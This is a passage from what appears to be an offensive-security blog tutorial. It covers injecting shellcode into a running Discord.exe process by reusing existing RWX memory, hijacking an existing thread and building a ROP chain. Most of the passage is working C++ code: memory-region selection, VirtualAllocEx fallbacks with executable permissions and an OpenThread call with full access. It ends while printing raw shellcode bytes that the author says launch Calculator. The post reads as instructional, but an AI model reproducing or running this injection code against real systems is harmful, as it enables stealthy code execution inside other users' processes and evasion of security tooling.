                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Assign found regions - prioritize stack first, then gadgets, then shellcode</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Using RWX region for stack at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Using RWX region for gadgets at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Allocate remaining needed regions</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteStack</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for stack failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated stack memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
                <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteGadgets</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for gadgets failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated gadgets memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Always need to allocate shellcode since we have less than 3</span>
        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span>
            <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteShellcode</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] VirtualAllocEx for shellcode failed (Error: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L")"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Allocated shellcode memory at: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[+] Found "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L" RWX memory region(s) (sorted by size, largest first):"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"["</span> <span class="o">&lt;&lt;</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="s">L"] Address: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setfill</span><span class="p">(</span><span class="sc">L'0'</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">setw</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
                <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">baseAddress</span> <span class="o">&lt;&lt;</span> <span class="s">L" | Size: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span>
                <span class="o">&lt;&lt;</span> <span class="s">L" ("</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">&lt;&lt;</span> <span class="s">L" bytes)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Module: "</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">info</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"============================================================"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for shellcode</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for SHELLCODE (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">shellcodeChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">shellcodeChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">shellcodeChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">())</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteShellcode</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">shellcodeChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Shellcode region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for gadgets</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for GADGETS (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">gadgetsChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">gadgetsChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span> <span class="n">gadgetsChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode region)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteGadgets</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">gadgetsChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Gadgets region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="c1">// Select region for clean stack</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[?] Select region for CLEAN STACK [!!!You must choose a region with size &gt;= 0x4000 (16kb) !!!] (1-"</span> <span class="o">&lt;&lt;</span> <span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="s">L", different from "</span>
            <span class="o">&lt;&lt;</span> <span class="n">shellcodeChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L" and "</span> <span class="o">&lt;&lt;</span> <span class="n">gadgetsChoice</span> <span class="o">&lt;&lt;</span> <span class="s">L"): "</span><span class="p">;</span>
        <span class="kt">int</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">stackChoice</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">ignore</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">stackChoice</span> <span class="o">&lt;</span> <span class="mi">1</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">&gt;</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">rwxRegions</span><span class="p">.</span><span class="n">size</span><span class="p">()</span> <span class="o">||</span>
            <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">shellcodeChoice</span> <span class="o">||</span> <span class="n">stackChoice</span> <span class="o">==</span> <span class="n">gadgetsChoice</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] Invalid choice (must be different from shellcode and gadgets regions)!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
            <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">remoteStack</span> <span class="o">=</span> <span class="n">rwxRegions</span><span class="p">[</span><span class="n">stackChoice</span> <span class="o">-</span> <span class="mi">1</span><span class="p">].</span><span class="n">baseAddress</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Stack region selected: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[*] Memory allocation summary:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Shellcode: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteShellcode</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Gadgets:   0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteGadgets</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    Stack:     0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">remoteStack</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">dec</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Okay, so now we have our ROP gadgets identified and our lookup function ready to go, as well as our RWX memory lookup function.  Let’s continue building this out!</p>

<p>Next up, hijacking a thread 🧵</p>

<h2 id="hijacking-an-existing-thread">Hijacking an existing Thread</h2>

<p>I went back and forth on this one.  I thought about whether I wanted to just get the first thread we encounter in our thread lookup routine or specifically get just worker threads.  Believe it or not, worker threads sometimes took forever to execute the final shellcode.  So, I just stuck with using the first thread returned from a basic lookup. Here’s what that looks like in System Informer when we hijack a thread and suspend it.  Notice the odd memory address that stands out in the hijacked thread.  That’s us! 😺</p>

<p><img width="740" height="434" alt="image" src="https://github.com/user-attachments/assets/4e304d26-761f-4782-ab2f-85cbd52b5722" /></p>

<p>Now for the code.  In the code below, we grab a snapshot of all running threads and then sift through them all, looking for the first thread that matches our remote PID (processID) and return it!  It’s as simple as that.  Once we return the found thread, I added some code to output what the threadId was so you can look it up yourself in System Informer if you like 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="nf">FindThreadId</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">THREADENTRY32</span> <span class="n">te</span><span class="p">{};</span>
    <span class="n">te</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">te</span><span class="p">);</span>

    <span class="n">HANDLE</span> <span class="n">snap</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPTHREAD</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">snap</span> <span class="o">==</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">Thread32First</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span> <span class="o">==</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
                <span class="k">return</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Thread32Next</span><span class="p">(</span><span class="n">snap</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">snap</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code below calls the <code class="language-plaintext highlighter-rouge">FindThreadID</code> function and then opens the hijacked thread, saving the handle to <code class="language-plaintext highlighter-rouge">hThread</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">tid</span> <span class="o">=</span> <span class="n">FindThreadId</span><span class="p">(</span><span class="n">pid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tid</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"Failed to find thread</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Thread Id found!  ThreadID:"</span> <span class="o">&lt;&lt;</span> <span class="n">tid</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">OpenThread</span><span class="p">(</span>
    <span class="n">THREAD_ALL_ACCESS</span><span class="p">,</span>
    <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">tid</span>
<span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hThread</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">std</span><span class="o">::</span><span class="n">cerr</span> <span class="o">&lt;&lt;</span> <span class="s">"OpenThread failed</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, we have accomplished the following tasks as it pertains to LOTP artifacts:</p>

<ul>
  <li><strong>Using existing, running/active code within the process itself as ROP gadgets</strong></li>
  <li><strong>Use of existing/already created RWX memory</strong></li>
  <li><strong>Hijacking an existing Thread in the remote process</strong></li>
</ul>

<p>Let’s get a visual for what that looks like shall we?  So, here’s where we find the gadgets using our compiled code (I’ll share the full code later I promise 😸):</p>

<p><img width="494" height="225" alt="image" src="https://github.com/user-attachments/assets/860ae69b-37b2-473d-93eb-11faa6ff38ad" /></p>

<p>Next up, we need to pick the discovered RWX regions of memory available to the process.  I’m targeting <code class="language-plaintext highlighter-rouge">Discord.exe</code> as it’s very generous with providing pre-existing RWX memory 😺  Go ahead and follow the input prompts make your selections.  Just make sure when you pick the fake <code class="language-plaintext highlighter-rouge">stack memory</code>, that you pick an entry that is listed as <code class="language-plaintext highlighter-rouge">0x4000</code> or greater.  I’ve highlighted them in the visual below:</p>

<p><img width="492" height="255" alt="image" src="https://github.com/user-attachments/assets/731ecd92-7cb1-4298-937b-35e924081626" /></p>

<p>Once you make your selection, our program will then assign each respective allocated memory region to the appropriate variable.  We will also hijack the first thread we come across in the remote process.  Here’s how my selection process went:</p>

<p><img width="482" height="410" alt="image" src="https://github.com/user-attachments/assets/92618f1e-e703-48ba-a4ff-b55a39281e64" /></p>

<p>Next up, we need to build out our <code class="language-plaintext highlighter-rouge">ROP chain</code> and also generate some <code class="language-plaintext highlighter-rouge">assembly stubs</code> to handle increasing our <code class="language-plaintext highlighter-rouge">RAX</code> and <code class="language-plaintext highlighter-rouge">R8</code> register by 8 so we can cycle through all our shellcode in 8-byte chunks.  We also need to add the 8-byte shellcode chunks to our dedicated shellcode memory region, moving to the next 8th byte in memory until we write all the shellcode.  Oh, and it would help if I let you see the shellcode we’re using too 😆  I’ll show you that in the next section.  Let’s go!</p>

<h2 id="building-out-the-rop-chain">Building out the ROP Chain</h2>

<p>Okay, so now we are ready to start building out our ROP chain using the previously collected ROP gadgets, as well as creating some small assembly stubs to help with keeping track of where we are in our 8 byte shellcode chunks.  We also need to keep track of the memory address we’re copying/writing our shellcode stubs to.  It will also increment by 8 bytes.  Before I forget, here’s the shellcode we will be working with and copying in 8 byte chunks:</p>

<p>It’s just some custom shellcode I wrote myself that executes the Windows Calculator:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode_base</span><span class="p">[]</span> <span class="o">=</span>
<span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span 